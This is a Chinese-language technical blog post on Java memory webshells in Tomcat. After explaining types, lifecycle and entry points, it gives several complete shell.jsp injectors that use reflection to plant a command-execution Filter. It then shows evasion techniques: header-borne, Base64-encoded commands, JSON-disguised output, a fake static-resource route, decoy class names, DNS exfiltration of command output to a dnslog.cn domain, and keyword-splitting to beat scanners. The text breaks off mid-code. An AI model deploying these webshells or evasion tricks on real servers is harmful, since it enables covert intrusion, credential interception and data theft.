本文最后更新于 2025年10月3日 凌晨
什么是内存马
内存马简介
内存马是webshell的一种,不同于文件马,内存马无文件落地。顾名思义,内存马将恶意逻辑直接注入到目标 Java Web 应用程序的运行时内存中。内存马可以绕过文件监测系统,不易被定位和监控。在绕过安全设备和实现持久化控制上优于传统文件马。
java内存马分类
按挂载点不同分为以下:
- Servlet-api类
1 2 3
| Filter内存马 Servlet内存马 Listener内存马
|
- Spring类
- Tomcat Valve 内存马
- MBean 内存马
- Agent 内存马

内存马的生命周期
内存马的生命周期与 Web 容器、应用部署、JVM 运行状态紧密相关。
内存马自注入到运行中的web容器开始,随容器运行,一般在web容器、web服务停止/重启时死亡。
不同类型的内存马的生命周期有区别,与其挂载点有关。总结就是:
内存马的生命周期 = 它所寄生组件的生命周期。清除内存马的本质,是摧毁其寄生环境 —— 重部署、重启、或 JVM 终结
web应用重启指重启对应的web应用(tomcat可能同时运行不同web应用),影响较小。JVM重启指重启tomcat服务sudo systemctl restart tomcatv
,影响所有web应用。
各类型内存马生命周期具体如下
类型 |
生命周期起点 |
生命周期持续阶段 |
生命周期终点 |
是否可热清除(不重启JVM) |
Filter |
addFilter() 成功执行或反射注入完成 |
持续拦截请求,除非被移除或上下文销毁 |
Web 应用 reload / undeploy / 重启 |
✅ 是(重部署即可) |
Servlet |
addServlet() 成功执行或反射注入完成 |
响应特定路径,除非被移除 |
Web 应用 reload / undeploy / 重启 |
✅ 是 |
Listener |
addListener() 或应用启动时初始化 |
随 Context/Session 生命周期持续运行 |
Web 应用 stop / 重启 |
部分(如HttpSession相关) |
Spring Controller |
注入到 HandlerMapping 成功 |
随 Spring MVC 分发器持续生效 |
/refresh / Context 重启 / 应用重启 |
✅ 是(/refresh 即可) |
Java Agent |
JVM 启动时加载 或 attach 注入成功 |
持续 Hook 字节码,独立于 Web 层 |
JVM 进程终止 |
❌ 否 |
Tomcat Valve |
注入到 Container Pipeline 成功 |
在 Connector 层持续生效,早于 Filter |
Tomcat Server 重启 |
❌ 否(需重启 Server) |
MBean |
registerMBean() 成功 |
持续驻留 MBeanServer,可被远程调用 |
手动 unregister / JVM 重启 |
✅ 是(可手动注销) |
内存马生命周期流程图

利用前提
内存马的注入实际上就是执行Java代码。所以内存马利用的必要前提条件就是能够在web应用的上下文执行Java代码。
通常通过以下方式:
入口类型 |
说明 |
示例 |
1. JSP Webshell |
上传或写入一个 JSP 文件,内含 Java 代码 |
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
2. 反序列化漏洞 |
利用 Java 反序列化漏洞(如 Commons-Collections、Fastjson、Jackson)执行代码 |
Fastjson @type 指定恶意类,触发构造器或 getter |
3. 表达式注入 |
利用 EL 表达式、SpEL、OGNL、MVEL 等执行动态代码 |
Spring SpEL:T(java.lang.Runtime).getRuntime().exec("whoami") |
4. 文件上传 + 目录穿越/解析漏洞 |
上传 JSP 文件到可执行目录 |
上传 shell.jsp 到 /webapps/ROOT/ |
5. 框架 RCE 漏洞 |
如 Struts2、Spring Cloud、Shiro、Log4j2 等框架漏洞 |
Log4j2 JNDI 注入 → 加载远程恶意类 |
6. 管理后台 / 调试接口 |
如 Spring Boot Actuator、Druid 监控、Swagger 未授权 |
/actuator/ + env + restart + 自定义注入 |
7. 服务器命令执行 → 写入 JSP |
通过其他漏洞(如 PHP、Python RCE)写入 JSP 文件 |
服务器存在 Python RCE → echo '<%...%>' > /tomcat/webapps/ROOT/shell.jsp |
8. Java Agent 附加(高阶) |
通过 VirtualMachine.attach(pid) 注入 Agent(需本地权限) |
利用本地漏洞或运维权限 attach 到 Tomcat 进程 |
复现
tomcat 9.0.104 + jdk1.8.0_101
Springboot 3.5.6 + Java17
servlet-api类
在 Java Web 开发中,Servlet、Filter 和 Controller 是三个核心组件
1 2 3 4 5 6 7 8 9 10 11
| 客户端请求 ↓ Filter(如 CharacterEncodingFilter、CorsFilter 等) ↓ DispatcherServlet(继承自 HttpServlet,是前端控制器) ↓ HandlerMapping → 找到对应的 @Controller ↓ Controller 方法执行(调用 Service、返回 ModelAndView 或 JSON) ↓ 返回响应(经过 Filter 的 response 后处理)
|
- Filter 像是“安检门”:检查每个人(请求)是否携带违禁品(非法参数、未登录等),决定是否放行。
- DispatcherServlet 像是“前台接待”:接收所有来访者,根据需求(URL)分配到对应部门(Controller)。
- Controller 像是“业务专员”:具体处理客户的需求(业务逻辑)。
Filter 内存马
- 挂载点:Servlet
Filter
链(例如:Tomcat 的ApplicationFilterChain
)。
- 原理:攻击者通过反射在运行时向
FilterChain
动态注册一个恶意的javax.servlet.Filter
实例。由于 Filter 位于请求处理的最前端,它能在请求到达目标 Servlet/Controller 之前拦截所有或特定 URL 的请求。
- 企业级危害:极具威胁。Filter 内存马可以实现前置身份验证绕过、会话劫持、敏感数据过滤(例如,拦截信用卡号或密码)、WebShell 命令执行。它位于请求处理的最上层,几乎可以影响所有传入流量。
demo
idea + maven +tomcat9
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId> <artifactId>memory-shell-demo</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency> </dependencies> </project>
|
Myservlet.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.example;
import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Date;
@WebServlet("/time") public class MyServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String now = sdf.format(new Date());
resp.setContentType("text/html;charset=UTF-8"); resp.getWriter().println("<h2> 当前时间:" + now + "</h2>"); resp.getWriter().println("<a href='/'>返回首页</a>"); } }
|
Myfilter.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.example;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; import java.io.PrintWriter;
@WebFilter("/filter") public class Myfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); servletResponse.setCharacterEncoding("UTF-8"); servletResponse.setContentType("text/html;charset=UTF-8"); PrintWriter out = servletResponse.getWriter(); out.println("Myfilter被执行了 cmd = "+cmd); System.out.println("Myfilter被执行了 cmd = "+cmd); filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() { } }
|
index.jsp
1 2 3 4 5 6 7 8 9 10 11 12
| <%@ page contentType="text/html;charset=UTF-8" %> <html> <head> <title>内存马演示 Demo</title> </head> <body> <ul> <li><a href="time">查看当前时间(正常 Servlet)</a></li> <li><a href="shell.jsp"> 注入 Filter 内存马</a></li> </ul> </body> </html>
|
内存马注入
Filter 链是如何构建的
当请求到达时,Tomcat 会:
- 根据请求路径(如
/filter
),遍历 StandardContext.filterMaps
数组
- 对每个
FilterMap
:
- 检查
URL Pattern
是否匹配(精确匹配 > 通配符匹配)
- 检查
Dispatcher
是否匹配(默认是 REQUEST
)
- 根据匹配的
FilterMap
寻找对应的FilterName
然后根据filterConfigs.get(filterName)
得到filterConfig
。filterConfigs
在web应用启动时就已经加载了所有的filterConfig
。
- 把
filterConfig.getFilter()
得到实例加入 Filter 链(ApplicationFilterChain)
- 最终按 顺序 依次执行Filter链的
doFilter
方法
也就是说,FilterMap
、FilterMaps
、filterConfigs
、filterConfig
都是在web应用启动时就已经构建好固定的 ,唯一随着请求不同的路由变化的是Filter 链,也就是在前面这些固定的中按需取用匹配路由的filter调用其adofilter方法。
所以要实现内存马的注入就需要在每一个固定的数据(FilterDef
、FilterMap
、FilterMaps
、filterConfigs
、filterConfig
)中进行修改加入对应的filter配置。
shell.jsp 1
没有修改 Filter 链顺序,但“骗过了”Filter 链的组装机制 → Filter 会执行,但顺序不可控(通常在最后)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>shell</title> </head> <body> <%! public class Shellfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); System.out.println("Shellfilter 执行命令结果: " + output); out.flush(); out.close(); }
@Override public void destroy() { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(Shellfilter.class.getName()); filterDef.setFilterName("Shellfilter"); filterDef.setFilter(new Shellfilter()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class); configconstructor.setAccessible(true); FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs"); configsfield.setAccessible(true); Map filterConfigs = (Map) configsfield.get(standardContext); filterConfigs.put("Shellfilter",filterConfig); %> </body> </html>
|
访问shell.jsp触发注入内存马
内存马的filter匹配的是/*,也就是所有路由

即使路由不存在

如果应用中已经存在filter,这里是Myfilter.java定义的/filter路由,

可以看到原来的filter和注入的filter都被执行了
并且执行顺序是原来的filter->注入的filter
这需要在MyFilter中
1
| filterChain.doFilter(servletRequest, servletResponse)
|
放行filter,filter链继续执行下去,如果没有这行则filter链会在当前doFilter中断

所以内存马一般绑定一个自定义不容易重复的路由,避免被同路由的filter拦截中断。
shell.jsp 2
重建了整个 Filter 链 → Filter 顺序可控(你用了 **addFilterMapBefore**
→ 插到最前面)
filter内存马不仅仅可以命令执行,还可以拦截一些敏感信息和操作,以及身份验证绕过。比如访问后台admin/xxx
需要经过filter验证用户是否登录,在修改密码等操作提交前经过filter验证身份证/电话号码是否合法,这时如果注入的filter在所以filter之前,则可以绕过验证,或者拦截一些敏感信息然后放行而不影响正常业务,可以无感获取敏感数据。
要把filter注入到FilterMap
前端可以用addFilterMapBefore(...)
方法 然后 filterStop()
+ filterStart()
重建执行链。
shell.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>shell</title> </head> <body> <%! public class Shellfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println(" Shellfilter.init() 被调用!"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println(" Shellfilter.doFilter() 被执行了!");
String cmd = servletRequest.getParameter("cmd"); if (cmd == null || cmd.trim().isEmpty()) { System.out.println("cmd is null"); filterChain.doFilter(servletRequest, servletResponse); return; }
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win"); String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
try { Process process = Runtime.getRuntime().exec(cmds); InputStream in = process.getInputStream(); Scanner s = new Scanner(in, "UTF-8").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("UTF-8"); servletResponse.setContentType("text/html;charset=UTF-8"); PrintWriter out = servletResponse.getWriter(); out.println("<pre style='background:#000;color:#0f0;'> Shellfilter Result:\n" + output + "</pre>"); out.flush(); out.close(); return; } catch (Exception e) { e.printStackTrace(); PrintWriter out = servletResponse.getWriter(); out.println("<pre style='color:red;'> Error: " + e.toString() + "</pre>"); out.flush(); out.close(); return; } }
@Override public void destroy() { System.out.println(" Shellfilter.destroy() 被调用!"); } } %> <% try { ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(Shellfilter.class.getName()); filterDef.setFilterName("Shellfilter"); filterDef.setFilter(new Shellfilter());
java.lang.reflect.Method addFilterDefMethod = StandardContext.class.getDeclaredMethod("addFilterDef", FilterDef.class); addFilterDefMethod.setAccessible(true); addFilterDefMethod.invoke(standardContext, filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name());
java.lang.reflect.Method addFilterMapBeforeMethod = StandardContext.class.getDeclaredMethod("addFilterMapBefore", FilterMap.class); addFilterMapBeforeMethod.setAccessible(true); addFilterMapBeforeMethod.invoke(standardContext, filterMap);
java.lang.reflect.Method filterStopMethod = StandardContext.class.getDeclaredMethod("filterStop"); filterStopMethod.setAccessible(true); filterStopMethod.invoke(standardContext);
java.lang.reflect.Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext);
out.println(" Shellfilter 已注入到 Filter 链最前面,并已激活!"); System.out.println(" Shellfilter 注入成功,位于 Filter 链首位!");
} catch (Exception e) { e.printStackTrace(new java.io.PrintWriter(out)); out.println(" 注入失败: " + e.toString()); } %> </body> </html>
|
没注入时,对/filter
的filter为Myfilter

访问shell.jsp注入

/filter?cmd=whoami

可以看到先执行shellfilter,myfilter没被执行(shellfilter没有对dofilter放行)
访问filter不加cmd参数,可以更直观看到是shellfilter->Myfilter
(shellfilter的cmd为空时放行dofilter)

提高隐蔽性
通常为了内存马更加隐蔽,需要不影响所有正常的路由从而不易被运维或者安全设备发现
- 将参数通过header传递
在dofilter获取自定义的特定的header的值作为命令执行的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <html> <head> <title>shell</title> </head> <body> <%! public class Shellfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = ((HttpServletRequest) servletRequest).getHeader("CMD"); if (cmd == null || cmd.trim().isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); }
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); System.out.println("Shellfilter 执行命令结果: " + output); out.flush(); out.close(); }
@Override public void destroy() { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(Shellfilter.class.getName()); filterDef.setFilterName("Shellfilter"); filterDef.setFilter(new Shellfilter()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class); configconstructor.setAccessible(true); FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs"); configsfield.setAccessible(true); Map filterConfigs = (Map) configsfield.get(standardContext); filterConfigs.put("Shellfilter",filterConfig); %> </body> </html>
|

不带CMD 的header访问正常
带CMD时

- 再进一步增加隐蔽性,可以对参数进行编码, 避免明文命令出现在日志、流量包中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="java.util.Base64" %> <html> <head> <title>shell</title> </head> <body> <%! public class Shellfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if (!(servletRequest instanceof HttpServletRequest)) { filterChain.doFilter(servletRequest, servletResponse); return; }
HttpServletRequest req = (HttpServletRequest) servletRequest; String encodedCmd = req.getHeader("CMD"); if (encodedCmd == null || encodedCmd.trim().isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
byte[] decodedBytes = Base64.getDecoder().decode(encodedCmd); String cmd = new String(decodedBytes).trim();
if (cmd.isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); System.out.println("Shellfilter 执行命令结果: " + output); out.flush(); out.close(); }
@Override public void destroy() { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(Shellfilter.class.getName()); filterDef.setFilterName("Shellfilter"); filterDef.setFilter(new Shellfilter()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class); configconstructor.setAccessible(true); FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs"); configsfield.setAccessible(true); Map filterConfigs = (Map) configsfield.get(standardContext); filterConfigs.put("Shellfilter",filterConfig); %> </body> </html>
|

- 再进一步增加隐蔽性,可以对命令执行的回显也进行编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.util.Map" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="java.util.Base64" %> <html> <head> <title>shell</title> </head> <body> <%! public class Shellfilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if (!(servletRequest instanceof HttpServletRequest)) { filterChain.doFilter(servletRequest, servletResponse); return; }
HttpServletRequest req = (HttpServletRequest) servletRequest; String encodedCmd = req.getHeader("CMD"); if (encodedCmd == null || encodedCmd.trim().isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
byte[] decodedBytes = Base64.getDecoder().decode(encodedCmd); String cmd = new String(decodedBytes).trim();
if (cmd.isEmpty()) { filterChain.doFilter(servletRequest, servletResponse); return; }
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; String bs64output = Base64.getEncoder().encodeToString(output.getBytes()); PrintWriter out = servletResponse.getWriter(); out.println(bs64output); System.out.println("Shellfilter 执行命令结果: " + output); out.flush(); out.close(); }
@Override public void destroy() { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(Shellfilter.class.getName()); filterDef.setFilterName("Shellfilter"); filterDef.setFilter(new Shellfilter()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
Class configclass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor configconstructor = configclass.getDeclaredConstructor(Context.class,FilterDef.class); configconstructor.setAccessible(true); FilterConfig filterConfig = (FilterConfig) configconstructor.newInstance(standardContext,filterDef);
Field configsfield = standardContext.getClass().getDeclaredField("filterConfigs"); configsfield.setAccessible(true); Map filterConfigs = (Map) configsfield.get(standardContext); filterConfigs.put("Shellfilter",filterConfig); %> </body> </html>
|

还可以将回显伪装为json
1 2 3 4
| String bs64output = Base64.getEncoder().encodeToString(output.getBytes()); PrintWriter out = servletResponse.getWriter(); servletResponse.setContentType("application/json;charset=UTF-8"); out.print("{\"data\":\"" + bs64output + "\",\"code\":200}");
|

- 伪装成静态资源请求,如http://target.com/static/logo.png
1 2 3 4 5 6
| FilterMap filterMap = new FilterMap(); filterMap.setFilterName("Shellfilter"); filterMap.addURLPattern("/static/logo.png"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
|

- filter类名伪装,用业务相关名绕过关键字扫描
1 2 3
| public class MetricsFilter implements Filter public class LogTraceFilter implements Filter public class CacheControlFilter implements Filter
|
- dns外带回显
1 2 3 4 5
| String domain = Base64.getUrlEncoder().encodeToString(output.getBytes()).replace("=","") + ".kqrk9t.dnslog.cn"; System.out.println(domain); try { InetAddress.getByName(domain); } catch (Exception ignored) {}
|

- 避免在代码中出现
"cmd.exe"
、"sh"
、"Runtime"
等敏感词
拼接
1 2 3 4
| String c = "c" + "m" + "d"; String dot = "."; String exe = "e" + "x" + "e"; String cmdExe = c + dot + exe;
|
动态传入,并base64编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
